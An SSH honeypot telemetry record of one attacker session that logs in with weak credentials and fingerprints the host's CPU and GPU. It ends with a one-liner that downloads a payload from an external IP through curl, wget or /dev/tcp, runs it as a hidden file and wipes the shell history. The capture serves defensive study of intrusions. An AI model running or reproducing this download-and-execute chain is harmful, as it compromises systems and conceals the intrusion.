sshoney · ssh honeypot telemetry

Session
candid-obsidian-kingfisher
Source
91.92.40.29
Protocol
ssh/exec
User
toto
Auth attempts
1
Commands
7
Transcript
1.1 K

Client

SSH-2.0-Go
exec: uname -s -v -n -r -m

Credentials attempted

usernamepasswordmethodtier result
totototopasswordotheraccepted

Transcript

04:42:45 $ uname -s -v -n -r -m
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64
04:42:49 $ nproc 2>/dev/null || grep -c ^processor /proc/cpuinfo
04:42:51 $ uptime 2>/dev/null | awk -F'( up |,|load)' '{gsub(/^[ \t]+|[ \t]+$/,"",$2); print $2}' | head -n1
04:42:53 $ LC_ALL=C lscpu | awk -F: '/Model name/ {gsub(/^[ \t]+/, "", $2); print $2; exit}'
         AMD EPYC 7713 64-Core Processor x8  (2964ms)
04:42:58 $ nvidia-smi -q | grep "Product Name" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9}' || echo 'No'
         NVIDIA GeForce RTX
04:43:00 $ nvidia-smi -q | grep "Attached GPUs" | awk '{print $4}' && echo '' || echo 'No'
         bash: nvidia-smi: command not found  (612ms)
04:43:09 $ curl -sSL http://103.160.59.94:28816/CZRmrtxnrNONBXhwfFeqjNfBrliNaShG -o ~/.sysmonitor 2>/dev/null || wget -qO ~/.sysmonitor http://103.160.59.94:28816/CZRmrtxnrNONBXhwfFeqjNfBrliNaShG 2>/dev/null || { exec 3<>/dev/tcp/103.160.59.94/28816 && echo -e "GET /CZRmrtxnrNONBXhwfFeqjNfBrliNaShG HTTP/1.1\r\nHost: 103.160.59.94\r\nConnection: close\r\n\r\n" >&3 && cat <&3 | sed "1,/^\r$/d" > ~/.sysmonitor; }; chmod +x ~/.sysmonitor && ~/.sysmonitor && history -c && history -w